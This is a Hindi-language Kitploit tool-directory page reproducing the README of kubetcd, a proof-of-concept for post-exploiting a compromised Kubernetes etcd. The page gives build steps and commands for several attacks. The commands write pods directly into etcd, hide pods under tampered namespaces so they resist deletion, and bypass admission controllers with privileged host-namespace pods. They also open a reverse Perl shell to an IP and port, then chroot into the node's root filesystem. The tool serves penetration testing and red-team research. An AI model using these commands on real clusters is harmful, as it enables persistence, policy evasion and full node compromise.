Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
kubetcd — समझौता किए गए etcd का पोस्ट-एक्सप्लॉइट करें, पर्सिस्टेंस प्राप्त करें और नोड्स पर रिमोट शेल पाएं। | Kitploit
उपकरण/GitHubGitHub/nccgroup/kubetcd
विशेषाधिकार वृद्धिकंटेनर सुरक्षास्थायित्व तंत्रपार्श्व आंदोलनपोस्ट-शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंग
GitHubnccgroup/kubetcd

kubetcd

समझौता किए गए etcd का पोस्ट-एक्सप्लॉइट करें, पर्सिस्टेंस प्राप्त करें और नोड्स पर रिमोट शेल पाएं।

रिपॉजिटरी देखें
9472 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Kubetcd

https://github.com/jpbetz/auger का रैपर।

यह सीधे etcd में लिखकर pod परिनियोजन को स्वचालित करता है। इसमें समझौता किए गए etcd के पोस्ट-एक्सप्लॉइटेशन के लिए कई फ़ंक्शन शामिल हैं।

अस्वीकरण

[!WARNING]
यह एक PoC है, इसे प्रोडक्शन वातावरण में उपयोग न करें। सीधे etcd में लिखने से असंगतियाँ या दूषित डेटा उत्पन्न हो सकता है, जिससे kube-apiserver का तर्क etcd से डेटा प्राप्त करने या हेरफेर करने में विफल हो सकता है। एकाधिक node वाले परीक्षण वातावरण KIND के साथ परिनियोजित किए जा सकते हैं

क्यों?

मुख्य रिपॉजिटरी, auger, etcd में protobuffered प्रविष्टियों के क्रमांकन (serialising) और विपरीत क्रमांकन (deserialising) के लिए मुख्य सुविधाएँ प्रदान करती है। Kubetcd एक PoC है जो इन सुविधाओं को लपेटता है ताकि etcdctl को नियमित kubectl क्लाइंट के करीब लाया जा सके। एक समझौता किए गए etcd के परिदृश्य में, kubetcd क्लस्टर में किसी/सभी होस्ट पर स्थिरता और विशेषाधिकार प्राप्त पहुंच प्राप्त करने के लिए हेरफेर किए गए और विशेषाधिकार प्राप्त pods का उपयोग करने का प्रयास करेगा। ध्यान दें कि kubetcd वर्तमान में केवल pod संचालन का समर्थन करता है।

आवश्यकताएँ

Kubetcd निम्नलिखित डिफ़ॉल्ट पथों से etcd सेवा में प्रमाणीकरण के लिए प्रमाणपत्र और कुंजियाँ लेता है:

  • /etc/kubernetes/pki/etcd/ca.crt
  • /etc/kubernetes/pki/etcd/server.crt
  • /etc/kubernetes/pki/etcd/server.key (यह केवल root द्वारा पठनीय है)

इसके अलावा, डिफ़ॉल्ट एंडपॉइंट 127.0.0.1:2379 के रूप में सेट है।

पिछले सभी डिफ़ॉल्ट मानों को पैरामीटर के माध्यम से बदला जा सकता है।

साथ ही, etcd के लिए क्लाइंट, etcdctl, स्थापित होना चाहिए।

root@kitploit:~
sudo apt install etcd-client

स्थापना

क्लोन करें और बिल्ड करें:

root@kitploit:~
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .

ज्ञात समस्याएँ

आपको निम्नलिखित त्रुटि मिल सकती है:

root@kitploit:~
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)

यदि ऐसा है, तो kubetcd को Golang 1.19 के साथ बिल्ड करें।

मुख्य auger सुविधाओं के लिए https://github.com/jpbetz/auger देखें, जो अभी भी मौजूद हैं। यह README केवल रैपर की जोड़ी गई नई सुविधाओं का विवरण देगा:


kubetcd चलाना

root@kitploit:~
./kubetcd -h

ऑब्जेक्ट प्राप्त करें

root@kitploit:~
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>

नया pod बनाएँ

templateName डिफ़ॉल्ट namespace में एक चालू pod होना चाहिए:

root@kitploit:~
./kubetcd create pod <name> -t <templateName>

आप समान name और templateName मान सेट करके एक चालू pod को अधिलेखित कर सकते हैं।

इमेज बदलें

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --image <image>

प्रारंभ समय में छेड़छाड़ करें

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"

असंगत डेटा के माध्यम से पर्सिस्टेंस

ETCD नए pods को /registry/pods/<namespace>/<name> में सहेजता है, लेकिन namespace और name फ़ील्ड के साथ छेड़छाड़ की जा सकती है। ऐसा होने पर, इन pods को kubectl का उपयोग करके सूचीबद्ध किया जा सकता है, लेकिन हटाया नहीं जा सकता।

root@kitploit:~
./kubetcd create pod <name> -t <templateName> -p <randomentry>             
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace

किसी विशिष्ट node पर परिनियोजित करें

किसी भी node पर इच्छानुसार वर्कलोड परिनियोजित करें:

root@kitploit:~
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>

AdmissionControllers को बायपास करें

प्रतिबंधित namespaces में विशेषाधिकार प्राप्त pods परिनियोजित करें। यह PSPs, PSAs जैसे अंतर्निहित AdmissionControllers या OPA Gatekeer या Kyverno जैसी कस्टम नीतियों पर आधारित किसी भी अन्य नीतियों को बायपास कर देगा:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P 

-P फ़्लैग किसी भी pod को privileged के रूप में सेट करेगा और अंतर्निहित node के साथ network, PID और IPC namespaces साझा करेगा।

रिवर्स शेल

प्रतिबंधित namespaces में विशेषाधिकार प्राप्त pods परिनियोजित करें और एक रिमोट शेल प्राप्त करें:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>

यह एक रिवर्स perl शेल शुरू करेगा, जो डिफ़ॉल्ट रूप से कई इमेजों में मौजूद होता है। रिवर्स शेल मिल जाने के बाद, node तक पूर्ण पहुंच प्राप्त करने के लिए chroot /host के साथ रूट फाइलसिस्टम बदलें।

TODO

  • रिमोट शेल प्राप्त करने के लिए अन्य बाइनरी -केवल perl ही नहीं- के लिए समर्थन जोड़ें
  • डिफ़ॉल्ट के अलावा अन्य namespaces से टेम्पलेट उपयोग करने के लिए समर्थन जोड़ें
  • corev1 शाखा के बाहर तत्वों को बनाने/प्राप्त करने/हटाने के लिए समर्थन जोड़ें
टूल डाउनलोड करें